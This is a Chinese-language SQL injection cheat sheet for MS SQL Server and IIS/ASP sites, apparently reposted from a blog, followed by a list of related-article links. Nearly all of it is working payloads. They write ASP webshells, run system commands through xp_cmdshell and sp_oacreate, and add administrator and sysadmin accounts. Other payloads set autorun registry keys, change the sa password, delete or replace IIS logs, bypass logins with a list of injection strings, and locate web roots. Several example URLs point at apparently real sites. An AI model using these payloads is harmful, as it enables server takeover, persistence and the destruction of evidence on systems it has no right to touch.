1、 用^转义字符来写ASP(一句话木马)文件的方法:
? http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--

? echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

2、 显示SQL系统版本:
? http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)
? http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,@@version)--

Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/display.asp,行17
3、 在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用"in"关键字进行查询,例如"select * from mytable where id in(1)",括号中的值就是我们提交的数据,它的结果与使用"select * from mytable where id=1"的查询结果完全相同。所以访问页面的时候在URL后面加上") and 1=1 and 1 in(1"后原来的SQL语句就变成了"select * from mytable where id in(1) and 1=1 and 1 in(1)",这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为"包含数字型"吧,聪明的你一定想到了还有"包含字符型"呢。对了,它就是由于类似"select * from mytable where name in('firstsee')"的查询语句造成的。

4、 判断xp_cmdshell扩展存储过程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
恢复xp_cmdshell扩展存储的命令:
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--

5、 向启动组中写入命令行和执行程序:
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'

6、 查看当前的数据库名称:
? http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n改成0,1,2,3……就可以跨库了
? http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int.
/display.asp,行17
7、 列出当前所有的数据库名称:
select * from master.dbo.sysdatabases 列出所有列的记录
select name from master.dbo.sysdatabases 仅列出name列的记录

8、 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:
create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

drop TABLE MYTMP

----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true'
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

以下是一行里面将WEB用户加到管理员组中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

以下是一行中执行EXE程序:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

SQL下三种执行CMD命令的方法:

先删除7.18号日志:
(1)exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt'

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

(3)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试:
? exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
注:
0 禁止一切(默认)
1 使能访问ACCESS,但是禁止其它
2 禁止访问ACCESS,但是使能其他
3 使能一切

? 这里仅给出sysadmin权限下使用的命令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

? 建立链接数据库'L0op8ack'参考命令:
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'

? 如何使用链接数据库:

使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin+setupadmin权限组合
sp_addlinkedserver需要sysadmin或setupadmin权限
sp_addlinkedsrvlogin需要sysadmin或securityadmin权限
最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使用,
一般没有哪个管理员这么设置普通帐户权限的

实用性不强,仅作为一个学习总结吧

大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错,
我测试的时候授予hacker这个用户setupadmin+securityadmin权限,使用ias.mdb失败
需要找一个一般用户可访问的mdb才可以:

? 新建链接服务器"L0op8ack":EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';--
? exec sp_addlinkedsrvlogin 'L0op8ack','false';--或
exec sp_addlinkedsrvlogin 'L0op8ack', 'false', NULL, 'test1', 'ptlove';--
? select * FROM OPENQUERY(L0op8ack, 'select shell("cmd.exe /c net user")');--
? exec sp_droplinkedsrvlogin 'L0op8ack','false';--
? exec sp_dropserver 'L0op8ack';--

再考贝一个其它文件来代替7.18日文件:
(1)exec master.dbo.xp_cmdshell 'copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt'

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

9、 用update来更新表中的数据:
<a href='<a href='HTTP://xxx.xxx.xxx/abc.asp?p=YY;update'' target='_blank'>HTTP://xxx.xxx.xxx/abc.asp?p=YY;update'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc.asp?p=YY;update</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc.asp?p=YY;update</a></a> upload.dbo.admin set pwd='a0b923820dcc509a' where username='www';--
www用户密码的16位MD5值为:a0b923820dcc509a,即把密码改成1;
32位MD5值为: ,密码为

10、 利用表内容导成文件功能
SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。
命令行格式如下:
bcp "select * from temp " queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P upload('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个runcommand.asp的木马)。

11、创建表、播入数据和读取数据的方法
? 创建表:
' and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--
? 往表里播入数据:
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='U' and status>0,@result output insert into cyfd (gyfd) values(@result);--
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
? 从表里读取数据:
' and 1=(select count(*) from cyfd where gyfd >1)--

? 删除临时表:
';drop table cyfd;--

12、通过SQL语句直接更改sa的密码:
? update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成了111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。

? 查看本机所有的数据库用户名:
select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins

? 更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec sp_password NULL,'新密码','sa'

13、查询dvbbs库中所有的表名和表结构:
? select * from dvbbs.dbo.sysobjects where xtype='U' and status>0
? select * from dvbbs.dbo.syscolumns where id=1426104121

14、手工备份当前数据库:
完全备份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH formAT--
差异备份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH DIFFERENTIAL,formAT—

15、添加和删除一个SA权限的用户test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin

cmd.exe /c isql -E /U alma /P /i K:\test.qry

16、select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0
就可以列出库ChouYFD中所有的用户建立的表名。
select name,id from ChouYFD.dbo.sysobjects where xtype='U' and status>0

17、
? http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select * from rdweb.dbo.syscolumns (where id=1234)
列出rdweb库中所有表中的字段名称
? select * from dvbbs.dbo.syscolumns where id=5575058
列出库dvbbs中表id=5575058的所有字段名

18、删除记录命令:delete from Dv_topic where boardid=5 and topicid=7978

19、绕过登录验证进入后台的方法整理:
1) ' or''='
2) ' or 1=1--
3) ' or 'a'='a--
4) 'or'='or'
5) " or 1=1--
6)or 1=1--
7) or 'a='a
8)" or "a"="a
9) ') or ('a'='a
10) ") or ("a"="a
11) ) or (1=1
12) 'or''='
13) 人气%' and 1=1 and '%'='

20、寻找网站路径的方法汇总:
1)查看WEB网站安装目录命令:
? cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root >c:\test1.txt (将2换成1、3、4、5试试)
type c:\test1.txt
del c:\test1.txt
在NBSI下可以直接显示运行结果,所以不用导出到文件

2)在网站上随便找到一个图片的名字 123.jpg
然后写进批处理程序123.bat:
d:
dir 123.jpg /s >c:\123.txt
e:
dir 123.jpg /s >>c:\123.txt
f:
dir 123.jpg /s >>c:\123.txt

执行后 type c:\123.txt
这样来分析网站的路径

3)SQL服务器和网站服务器在同一个服务器上,好了是可以执行命令是吧?
将执行命令输出结果到
%windir%\help\iishelp\common\404b.htm或者500.asp
注意输出前Backup这两个文件
如:
dir c:\ >%windir%\help\iishelp\common\404b.htm
然后随便输入一个文件来访问:http://目标ip/2.asp

4)针对win2000系统:xp_regread读取HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 获取WEB路径
2003系统:xp_regread读取,未找到方法
如:
(1) 新建一个表cyfd(字段为gyfd):http://www.cnwill.com/NewsShow.aspx?id=4844;create table [dbo].[cyfd]([gyfd][char](255))--
(2) 把web路径写进去:http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
(3) 还是让他不匹配,显示错误:http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)
Source: .Net SqlClient Data Provider
Description: 将 varchar 值 'Y:\Web\烟台人才热线后台管理系统,,201 ' 转换为数据类型为 int 的列时发生语法错误。
TargeSite: Boolean Read() 哈哈哈。。路径暴露了。。
(4)接下来删除表:http://www.cnwill.com/NewsShow.aspx?id=4844;drop table cyfd;--

5)用regedit命令导出注册表,将导出的结果保存的路径到%windir%\help\iishelp\common\404b.htm或者500.asp页面
regedit命令说明:
Regedit /L:system /R:user /E filename.reg Regpath
参数含义:
/L:system指定System.dat文件所在的路径。
/R:user指定User.dat文件所在的路径。
/E:此参数指定注册表编辑器要进行导出注册表操作,在此参数后面空一格,输入导出注册表的文件名。
Regpath:用来指定要导出哪个注册表的分支,如果不指定,则将导出全部注册表分支。在这些参数中,"/L:system"和"/R:user"参数是可选项,如果不使用这两个参数,注册表编辑器则认为是对WINDOWS目录下的"system.dat"和"user.dat"文件进行操作。如果是通过从软盘启动并进入DOS,那么就必须使用"/L"和"/R"参数来指定"system.dat"和"user.dat"文件的具体路径,否则注册表编辑器将无法找到它们。比如说,如果通过启动盘进入DOS,则备份注册表的命令是"Regedit /L:C:\windows\/R:C:\windows\/e regedit.reg",该命令的意思是把整个注册表备份到WINDOWS目录下,其文件名为"regedit.reg"。而如果输入的是"regedit /E D:\regedit.reg"这条命令,则是说把整个注册表备份到D盘的根目录下(省略了"/L"和"/R"参数),其文件名为"Regedit.reg"。

regedit /s c:\adam.reg (导入c:\adam.reg文件至注册表)
regedit /e c:\web.reg (备份全部注册内容到c:\web.reg中)
针对win2000系统:C:\>regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots"
然后http://目标IP/2.asp
针对win2003系统:没有找到,希望找到的朋友公布出来一起讨论。

6)虚拟主机下%SystemRoot%\system32\inetsrv\MetaBack\下的文件是iis的备份文件,是允许web用户访问的,如果你的iis备份到这里,用webshell下载下来后用记事本打开,可以获取对应的域名和web绝对路径。

7)SQL注入建立虚拟目录,有dbo权限下找不到web绝对路径的一种解决办法:
我们很多情况下都遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,这一招不错:
? 建立虚拟目录win,指向c:\winnt\system32:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
? 让win目录具有解析asp脚本权限:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute "true" –s:'
? 删除虚拟目录win:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/'
? 测试:http://127.0.0.1/win/test.asp
8)利用SQL语句来查找WEB目录:根据经验,猜疑WEB根目录的顺序是:d盘、e盘、c盘,首先我们建立一个临时表用于存放master..xp_dirtree(适合于public)生成的目录树,用以下语句:
;create table temp(dir nvarchar(255),depth varchar(255));--,该表的dir字段表示目录的名称,depth字段表示目录的深度。然后执行xp_dirtree获得D盘的目录树,语句如下:
;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--

在进行下面的操作前,先查看D盘有几个文件夹,这样对D盘有个大致的了解,语句如下:
and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))>=数字(数字=0、1、2、3...)

接着,我们在对方的网站上找几个一级子目录,如user、photo,然后,用筛选的方法来判断WEB根目录上是否存在此盘上,语句如下:
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)

看语句的返回结果,如果为真,表示WEB根目录有可能在此盘上,为了进一步确认,多测试几个子目录:
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)

...

如果所有的测试结果都为真,表示WEB根目录很有可能在此盘上。

下面假设找到的WEB根目录在此盘上,用以下的语句来获得一级子目录的深度:
and (select depth from temp where dir='user')>=数字(数字=1、2、3...)

假设得到的depth是3,说明user目录是D盘的3级目录,则WEB根目录是D盘的二级目录。

目前我们已经知道了根目录所在的盘符和深度,要找到根目录的具体位置,我们来从D盘根目录开始逐一搜寻,当然,没有必要知道每个目录的名称,否则太耗费时间了。

接下来,另外建立一个临时表,用来存放D盘的1级子目录下的所有目录,语句如下:

;create table temp1(dir nvarchar(255),depth varchar(255));--

然后把从D盘的第一个子目录下的所有目录存到temp1中,语句如下:
declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
当然也可以把D盘的第二个子目录下的所有目录存到temp1中,只需把第二个top 1改为top 2就行了。

现在,temp1中已经保存了所有D盘第一级子目录下的所有目录,然后,我们用同样的方法来判断根目录是否在此一级子目录下:
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)
如果返回为真,表示根目录可能在此子目录下,记住要多测试几个例子,如果都返回为假,则表明WEB根目录不在此目录下,然后我们在用同样的方法来获得D盘第2、3...个子目录下的所有目录列表,来判断WEB根目录是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的内容删除。

现在假设,WEB根目录在D盘的第一级子目录下,该子目录名称为website,怎样获得这个目录的名称我想不用我说了吧。因为前面我们知道了WEB根目录的深度为2,我们需要知道website下到底哪个才是真正的WEB根目录。

现在,我们用同样的方法,再建立第3个临时表:
;create table temp2(dir nvarchar(255),depth varchar(255));--

然后把从D盘的website下的所有目录存到temp2中,语句如下:
declare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
当然也可以把D盘的website下第二个子目录下的所有目录存到temp2中,只需把第二个top 1改为top 2就行了。

现在,我们用同样的方法判断该目录是否为根目录:
and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)
如果返回为真,为了确定我们的判断,多测试几个例子,方法上面都讲到了,如果多个例子都返回为真,那么就确定了该目录为WEB根目录。

用以上的方法基本上可以获得WEB根目录,现在我们假设WEB根目录是:D:\website\www
然后,我们就可以备份当前数据库到这个目录下用来下载。备份前我们把temp、temp1、temp2的内容清空,然后C、D、E盘的目录树分别存到temp、temp1、temp2中。

下载完数据库后要记得把三个临时表drop掉,现在我们在下载的数据库中可以找到所有的目录列表,包括后台管理的目录以及更多信息。

转载于:https://www.cnblogs.com/godjiahui/archive/2008/04/30/1177229.html

ASP注入详细命令40条相关推荐

  1. 记一次asp+mssql的注入和命令执行(已脱敏)

    记一次asp+mssql的注入和命令执行(已脱敏) 注 前言 复现 总结 注 本文已经首发于freebuff asp+mssql的注入和命令执行(已脱敏) 前言 前一段时间参加了一个活动,这一段时间学 ...

  2. SQL注入天书-ASP注入漏洞全接触

    引     言                 随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序 ...

  3. ASP注入漏洞全接触[转自www.hacker.com.cn 黑客防线]

    随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进 ...

  4. ❤️40条软件测试面试常考题目总结(附答案解析)【建议收藏】❤️

    40条软件测试面试常考题目总结,话不多说上干货~ (附答案解析) 1 开发犯低级错误怎么办? 开发首先要规范好编码,出低级错时不要指责,内心指出错误.让他们自己进行测试,反思找出错误. 2 你进行过哪 ...

  5. 对Android 开发者有益的 40 条优化建议(转)

    下面是开始Android编程的好方法: 找一些与你想做事情类似的代码 调整它,尝试让它做你像做的事情 经历问题 使用StackOverflow解决问题 对每个你像添加的特征重复上述过程.这种方法能够激 ...

  6. 解决不了bug先放着,这里有40条提升编程技能小妙招

    选自Medium 作者:Kesk 机器之心编译 参与:魔王 这 40 个小贴士,或许可以帮你提升编程技能. 如何提高编程技能?恐怕很多开发者思考过这个问题.最近,拥有将近 15 年开发经验的软件工程师 ...

  7. 40条提升编程技能的小妙招

    作者:Kesk, 翻译自:机器之心 如何提高编程技能?恐怕很多开发者思考过这个问题.最近,拥有将近 15 年开发经验的软件工程师 Kesk 写了一篇博客,列举了 40 条对其职业生涯有所帮助的事项. ...

  8. 如何评估Serverless服务能力,这份报告给出了40条标准

    简介:如今,已经有评测机构给出了40条标准来对Serverless的服务能力进行评估,这些评估细则既是技术生态繁荣发展的一种表现,也可以作为新进入者评估Serverless落地成效的一种参考依据. 编 ...

  9. oracle distinct分页优化_Oracle SQL性能优化最常用的40条建议

    关于Oracle SQL优化的内容,这一篇应该能满足常规大部分的应用优化需求,整整40条优化建议,干货满满. 1. SQL语句执行步骤 语法分析> 语义分析> 视图转换 >表达式转换 ...

最新文章

  1. Android App列表之游标ListView(索引ListView)
  2. WebRTCon 2018 Day Two精彩回顾
  3. oracle数据库swap占用率高,Oracle数据库所在服务器swap严重
  4. 截图:截取当前程序的界面,并保存到bmp图片中。
  5. mybatis-plus 中 queryWrapper and与or嵌套
  6. linux中开启snmp协议
  7. html css:背景图片链接css写法
  8. 原创Android开发文章集合贴
  9. MCU芯片缺货涨价 国内厂商机遇和挑战并存
  10. java 继承特点_java 继承特点
  11. 基于python的电影推荐系统
  12. SSM项目实战之八:静态资源文件的整合
  13. php中in array函数_php中in_array函数的用法
  14. EEPROM与FLASH闪存到底有什么区别?
  15. 图扑软件数字孪生民航飞联网,构建智慧民航新业态
  16. 蝶KIS专业版替换SXS.dll补丁 遭后门清空数据被修改为“恢复数据请联系” 金蝶KIS12.2版本遭遇后门入侵,数据没有了!!应急处置
  17. eact native生成APP报错:You have not accepted the license agreements of the following SDK components:...
  18. Linux系统接口ioc,Linux下SCSI API研究及应用
  19. 计算机网络密码凭据,电脑无法上网时总是提示需要输入网络密码如何解决
  20. c语言实现字符串倒过来输出

热门文章

  1. linux系统如何启用ftp服务
  2. 利用xcode6做出牛的一逼的计算器
  3. Ubuntu18.04.3虚拟机安装步骤图文教程
  4. Windows消息ID号查看
  5. [Tesseract]Tesseract 在 Visual Studio 2012 中的配置及调用
  6. 为Android Studio中的SettingsActivity定制任务栏 (Setting Activity其实本质上是从PreferenceActivity中继承过来的)
  7. HTTP 错误 404.13 - Not Found 请求筛选模块被配置为拒绝超过请求内容长度的请求。(上传文件长度问题)
  8. IOS15给UICollection添加测试数字
  9. matlab运算速度与cpu的关系,请教编程语言和运算速度的关系
  10. matlab图片压缩